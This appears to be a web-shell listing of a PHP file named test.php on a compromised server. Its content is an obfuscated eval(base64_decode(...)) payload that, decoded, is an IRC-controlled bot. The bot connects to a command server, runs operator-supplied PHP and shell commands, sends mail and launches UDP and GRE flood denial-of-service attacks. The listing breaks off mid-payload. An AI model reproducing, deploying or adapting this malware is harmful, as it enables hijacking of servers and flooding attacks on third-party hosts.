Current Path : /home/tools/fm/ |
FreeBSD hs32.drive.ne.jp 9.1-RELEASE FreeBSD 9.1-RELEASE #1: Wed Jan 14 12:18:08 JST 2015 root@hs32.drive.ne.jp:/sys/amd64/compile/hs32 amd64 |
Current File : /home/tools/fm/test.php |
<?php eval(base64_decode("c2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKJGRpciA9IGdldGN3ZCgpOwokdW5hbWUgPSBAcGhwX3VuYW1lKCk7CgpmdW5jdGlvbiB3aGVyZWlzdG1QKCkKewogICAgJHVwbG9hZHRtcCA9IGluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7CiAgICAkdWYgPSBnZXRlbnYoJ1VTRVJQUk9GSUxFJyk7CiAgICAkYWYgPSBnZXRlbnYoJ0FMTFVTRVJTUFJPRklMRScpOwogICAgJHNlID0gaW5pX2dldCgnc2Vzc2lvbi5zYXZlX3BhdGgnKTsKICAgICRlbnZ0bXAgPSAoZ2V0ZW52KCdUTVAnKSkgPyBnZXRlbnYoJ1RNUCcpIDogZ2V0ZW52KCdURU1QJyk7CiAgICBpZiAoaXNfZGlyKCcvdG1wJykgJiYgaXNfd3JpdGFibGUoJy90bXAnKSkgcmV0dXJuICcvdG1wJzsKICAgIGlmIChpc19kaXIoJy91c3IvdG1wJykgJiYgaXNfd3JpdGFibGUoJy91c3IvdG1wJykpIHJldHVybiAnL3Vzci90bXAnOwogICAgaWYgKGlzX2RpcignL3Zhci90bXAnKSAmJiBpc193cml0YWJsZSgnL3Zhci90bXAnKSkgcmV0dXJuICcvdmFyL3RtcCc7CiAgICBpZiAoaXNfZGlyKCR1ZikgJiYgaXNfd3JpdGFibGUoJHVmKSkgcmV0dXJuICR1ZjsKICAgIGlmIChpc19kaXIoJGFmKSAmJiBpc193cml0YWJsZSgkYWYpKSByZXR1cm4gJGFmOwogICAgaWYgKGlzX2Rpcigkc2UpICYmIGlzX3dyaXRhYmxlKCRzZSkpIHJldHVybiAkc2U7CiAgICBpZ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aCIgPT4gIksuRy1ORVQiCiAgICApOwogICAgdmFyICR1c2VycyA9IGFycmF5KCk7CiAgICBmdW5jdGlvbiBzdGFydCgpCiAgICB7CiAgICAgICAgd2hpbGUgKHRydWUpCiAgICAgICAgewogICAgICAgICAgICBpZiAoISgkdGhpcy0+Y29ubiA9IGZzb2Nrb3BlbigkdGhpcy0+Y29uZmlnWydzZXJ2ZXInXSwgJHRoaXMtPmNvbmZpZ1sncG9ydCddLCAkZSwgJHMsIDMwKSkpICR0aGlzLT5zdGFydCgpOwogICAgICAgICAgICAkcGFzcyA9ICR0aGlzLT5jb25maWdbJ3Bhc3N3b3JkJ107CiAgICAgICAgICAgICRhbHBoID0gcmFuZ2UoIjAiLCAiOSIpOwogICAgICAgICAgICAkdGhpcy0+c2VuZCgiUEFTUyAiIC4gJHBhc3MgLiAiIik7CiAgICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTicpICRpZGVudCA9ICJXaW5kb3dzIjsKICAgICAgICAgICAgZWxzZSAkaWRlbnQgPSAiTGludXgiOwogICAgICAgICAgICAkdGhpcy0+c2VuZCgiVVNFUiAiIC4gJGlkZW50IC4gIiAxMjcuMC4wLjEgbG9jYWxob3N0IDoiIC4gcGhwX3VuYW1lKCkgLiAiIik7CiAgICAgICAgICAgICR0aGlzLT5zZXRfbmljaygpOwogICAgICAgICAgICAkdGhpcy0+bWFpbigpOwogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIG1haW4oKQogICAgewogICAgICAgIHdoaWxlICghZmVvZigkdGhpcy0+Y29ubikpCiAgICAgICAgewogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fc2VsZWN0JykpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRyZWFkID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbm4KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAkd3JpdGUgPSBOVUxMOwogICAgICAgICAgICAgICAgJGV4Y2VwdCA9IE5VTEw7CiAgICAgICAgICAgICAgICAkY2hhbmdlZCA9IHN0cmVhbV9zZWxlY3QoJHJlYWQsICR3cml0ZSwgJGV4Y2VwdCwgMzApOwogICAgICAgICAgICAgICAgaWYgKCRjaGFuZ2VkID09IDApCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgZndyaXRlKCR0aGlzLT5jb25uLCAiUElORyA6bGVsY29tZWF0bWVcclxuIik7CiAgICAgICAgICAgICAgICAgICAgJHJlYWQgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbm4KICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICR3cml0ZSA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgJGV4Y2VwdCA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgJGNoYW5nZWQgPSBzdHJlYW1fc2VsZWN0KCRyZWFkLCAkd3JpdGUsICRleGNlcHQsIDMwKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGNoYW5nZWQgPT0gMCkgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHRoaXMtPmJ1ZiA9IHRyaW0oZmdldHMoJHRoaXMtPmNvbm4sIDUxMikpOwogICAgICAgICAgICAkY21kID0gZXhwbG9kZSgiICIsICR0aGlzLT5idWYpOwogICAgICAgICAgICBpZiAoc3Vic3RyKCR0aGlzLT5idWYsIDAsIDYpID09ICJQSU5HIDoiKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkdGhpcy0+c2VuZCgiUE9ORyA6IiAuIHN1YnN0cigkdGhpcy0+YnVmLCA2KSk7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJGNtZFsxXSkgJiYgJGNtZFsxXSA9PSAiMDAxIikKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHRoaXMtPmF1dGgoJHRoaXMtPmNvbmZpZ1snYXV0aCddKTsKICAgICAgICAgICAgICAgICR0aGlzLT5qb2luKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgJHRoaXMtPmNvbmZpZ1sna2V5J10pOwogICAgICAgICAgICAgICAgaWYgKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJykgJHRoaXMtPmpvaW4oIiNyb290Iik7CiAgICAgICAgICAgICAgICBlbHNlICR0aGlzLT5qb2luKCIjcm9vdCIpOwogICAgICAgICAgICAgICAgJHRoaXMtPmpvaW4oIiNyb290Iik7CiAgICAgICAgICAgICAgICAkdGhpcy0+am9pbigiI3Jvb3QiKTsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChpc3NldCgkY21kWzFdKSAmJiAkY21kWzFdID09ICI0MzMiKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkdGhpcy0+c2V0X25pY2soKTsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+YnVmICE9ICRvbGRfYnVmKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkbWNtZCA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkbXNnID0gc3Vic3RyKHN0cnN0cigkdGhpcy0+YnVmLCAiIDoiKSAsIDIpOwogICAgICAgICAgICAgICAgJG1zZ2NtZCA9IGV4cGxvZGUoIiAiLCAkbXNnKTsKICAgICAgICAgICAgICAgICRuaWNrID0gZXhwbG9kZSgiISIsICRjbWRbMF0pOwogICAgICAgICAgICAgICAgJHZob3N0ID0gZXhwbG9kZSgiQCIsICRuaWNrWzFdKTsKICAgICAgICAgICAgICAgICR2aG9zdCA9ICR2aG9zdFsxXTsKICAgICAgICAgICAgICAgICRuaWNrID0gc3Vic3RyKCRuaWNrWzBdLCAxKTsKICAgICAgICAgICAgICAgICRob3N0ID0gJGNtZFswXTsKICAgICAgICAgICAgICAgIGlmICgkbXNnY21kWzBdID09ICR0aGlzLT5uaWNrKSBmb3IgKCRpID0gMDskaSA8IGNvdW50KCRtc2djbWQpOyRpKyspICRtY21kWyRpXSA9ICRtc2djbWRbJGkgKyAxXTsKICAgICAgICAgICAgICAgIGVsc2UgZm9yICgkaSA9IDA7JGkgPCBjb3VudCgkbXNnY21kKTskaSsrKSAkbWNtZFskaV0gPSAkbXNnY21kWyRpXTsKICAgICAgICAgICAgICAgIGlmIChjb3VudCgkY21kKSA+IDIpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkY21kWzFdKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiUFJJVk1TRyI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3Vic3RyKCRtY21kWzBdLCAwLCAxKSA9PSAiLSIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoIChzdWJzdHIoJG1jbWRbMF0sIDEpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAibWFpbCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY291bnQoJG1jbWQpID4gNCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZGVyID0gIkZyb206IDwiIC4gJG1jbWRbMl0gLiAiPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFtYWlsKCRtY21kWzFdLCAkbWNtZFszXSwgc3Ryc3RyKCRtc2csICRtY21kWzRdKSAsICRoZWFkZXIpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wybWFpbFwyXTogZmFpbGVkIHNlbmRpbmcuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgIltcMm1haWxcMl06IHNlbnQuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiZG5zIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkbWNtZFsxXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gZXhwbG9kZSgiLiIsICRtY21kWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY291bnQoJGlwKSA9PSA0ICYmIGlzX251bWVyaWMoJGlwWzBdKSAmJiBpc19udW1lcmljKCRpcFsxXSkgJiYgaXNfbnVtZXJpYygkaXBbMl0pICYmIGlzX251bWVyaWMoJGlwWzNdKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgIltcMmRuc1wyXTogIiAuICRtY21kWzFdIC4gIiA9PiAiIC4gZ2V0aG9zdGJ5YWRkcigkbWNtZFsxXSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJbXDJkbnNcMl06ICIgLiAkbWNtZFsxXSAuICIgPT4gIiAuIGdldGhvc3RieW5hbWUoJG1jbWRbMV0pKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJmYXMiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAifmh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAiIiAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddIC4gIiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidW5hbWUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2FmZW1vZGUgPSAib24iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzYWZlbW9kZSA9ICJvZmYiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVuYW1lID0gcGhwX3VuYW1lKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJbXDJpbmZvXDJdOiAiIC4gJHVuYW1lIC4gIiAoc2FmZTogIiAuICRzYWZlbW9kZSAuICIpIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJyYXciOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNlbmQoc3Ryc3RyKCRtc2csICRtY21kWzFdKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJldmFsIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmFsKHN0cnN0cigkbXNnLCAkbWNtZFsxXSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4ZWMgPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX2VuZF9jbGVhbigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwgJGV4ZWMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7JGkgPCBjb3VudCgkcmV0KTskaSsrKSBpZiAoJHJldFskaV0gIT0gTlVMTCkgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiIDogIiAuIHRyaW0oJHJldFskaV0pKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJleGVjIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCAkbWNtZFswXSkgLCBzdHJsZW4oJG1jbWRbMF0pICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IGV4ZWMoJGNvbW1hbmQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwgJGV4ZWMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7JGkgPCBjb3VudCgkcmV0KTskaSsrKSBpZiAoJHJldFskaV0gIT0gTlVMTCkgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiIDogIiAuIHRyaW0oJHJldFskaV0pKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwpjYXNlICJoZWxwZGRvcyI6CiR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgIltcMj09PT09PT09PT09PT09PT09PT1cMl0iKTsKJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wyPT09PT1DbUQgRERPUyE9PT09PVwyXSIpOwokdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJbXDItdWRwIElQIFBPUlRBIFNFQ09OREkgIVwyXSIpOwokdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJbXDItdWRwdGxzIElQIFBPUlRBIFNFQ09OREkhXDJdIik7CiR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgIltcMi11ZHBzdGQgSVAgUE9SVEEgU0VDT05ESSFcMl0iKTsKJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wyLXVkcGZsb29kIElQIFBPUlRBIFNFQ09OREkgUEFDS0VUU0laRSFcMl0iKTsKJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wyLWdyZWZsb29kIElQIFBPUlRBIFNFQ09OREkgUEFDS0VUU0laRSFcMl0iKTsKJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wyLWRpZSBRdWl0IEJPVFwyXSIpOwpicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidWRwIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudCgkbWNtZCkgPiAzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT51ZHAoJG1jbWRbMV0sICRtY21kWzJdLCAkbWNtZFszXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInVkcHRscyI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY291bnQoJG1jbWQpID4gMykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+dWRwKCRtY21kWzFdLCAkbWNtZFsyXSwgJG1jbWRbM10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJ1ZHBzdGQiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRtY21kKSA+IDMpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnVkcCgkbWNtZFsxXSwgJG1jbWRbMl0sICRtY21kWzNdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJ1ZHBmbG9vZCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY291bnQoJG1jbWQpID4gNCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+dWRwZmxvb2QoJG1jbWRbMV0sICRtY21kWzJdLCAkbWNtZFszXSwgJG1jbWRbNF0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJncmVmbG9vZCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY291bnQoJG1jbWQpID4gNCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Z3JlZmxvb2QoJG1jbWRbMV0sICRtY21kWzJdLCAkbWNtZFszXSwgJG1jbWRbNF0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImpvaW5jaGFuIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudCgkbWNtZCkgPiAxKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5qb2luY2hhbigkbWNtZFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidGNwY29ubiI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY291bnQoJG1jbWQpID4gMykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+dGNwY29ubigkbWNtZFsxXSwgJG1jbWRbMl0sICRtY21kWzNdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkaWUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRtY21kKSA+IDApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCR0aGlzLT5jb25uKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICB9CiAgICBmdW5jdGlvbiBzZW5kKCRtc2cpCiAgICB7CiAgICAgICAgZndyaXRlKCR0aGlzLT5jb25uLCAkbXNnIC4gIlxyXG4iKTsKICAgIH0KICAgIGZ1bmN0aW9uIGpvaW4oJGNoYW4sICRrZXkgPSBOVUxMKQogICAgewogICAgICAgICR0aG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sKICAgICAgICB9CiAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiSm9pbmVkICIgLiAkY2hubCAuICIhIik7CiAgICB9CiAgICBmdW5jdGlvbiB1ZHBzdGQoJGhvc3QsICRwb3J0LCAkdGltZSkKICAgIHsKICAgICAgICAkcGFja2V0c2l6ZSA9IDEwMDA7CiAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wyVURQU1REOiBERE9TIEFUVElWQVRPXDJdIik7CiAgICAgICAgJG1zZ2cgPSAiU1REIjsKICAgICAgICBmb3IgKCRpID0gMDskaSA8ICRwYWNrZXRzaXplOyRpKyspCiAgICAgICAgewogICAgICAgICAgICAkbXNnZyAuPSBjaHIocmFuZCgxLCAyNTYpKTsKICAgICAgICB9CiAgICAgICAgJGVuZCA9IHRpbWUoKSArICR0aW1lOwogICAgICAgICRpID0gMDsKICAgICAgICAkZnAgPSBmc29ja29wZW4oInVkcDovLyIgLiAkaG9zdCwgJHBvcnQsICRlLCAkcywgNSk7CiAgICAgICAgd2hpbGUgKHRydWUpCiAgICAgICAgewogICAgICAgICAgICBmd3JpdGUoJGZwLCAkbXNnZyk7CiAgICAgICAgICAgIGZmbHVzaCgkZnApOwogICAgICAgICAgICBpZiAoJGkgJSAxMDAgPT0gMCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRlbmQgPCB0aW1lKCkpIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpKys7CiAgICAgICAgfQogICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICRlbnYgPSAkaSAqICRwYWNrZXRzaXplOwogICAgICAgICRlbnYgPSAkZW52IC8gMTA0ODU3NjsKICAgICAgICAkdmVsID0gJGVudiAvICR0aW1lOwogICAgICAgICR2ZWwgPSByb3VuZCgkdmVsKTsKICAgICAgICAkZW52ID0gcm91bmQoJGVudik7CiAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wyIERET1MgRklOSVRPID0pXDJdOiAiIC4gJGVudiAuICIgTUIgc2VudCAvIEF2ZXJhZ2U6ICIgLiAkdmVsIC4gIiBNQi9zICIpOwogICAgfQogICAgZnVuY3Rpb24gdWRwKCRob3N0LCAkcG9ydCwgJHRpbWUpCiAgICB7CiAgICAgICAgJHBhY2tldHNpemUgPSA2NTUwMDsKICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJbXDJVRFA6IERET1MgQVRUSVZBVE8hXDJdIik7CiAgICAgICAgJHBhY2tldCA9ICIiOwogICAgICAgIGZvciAoJGkgPSAwOyRpIDwgJHBhY2tldHNpemU7JGkrKykKICAgICAgICB7CiAgICAgICAgICAgICRwYWNrZXQgLj0gY2hyKHJhbmQoMSwgMjU2KSk7CiAgICAgICAgfQogICAgICAgICRlbmQgPSB0aW1lKCkgKyAkdGltZTsKICAgICAgICAkaSA9IDA7CiAgICAgICAgJGZwID0gZnNvY2tvcGVuKCJ1ZHA6Ly8iIC4gJGhvc3QsICRwb3J0LCAkZSwgJHMsIDUpOwogICAgICAgIHdoaWxlICh0cnVlKQogICAgICAgIHsKICAgICAgICAgICAgZndy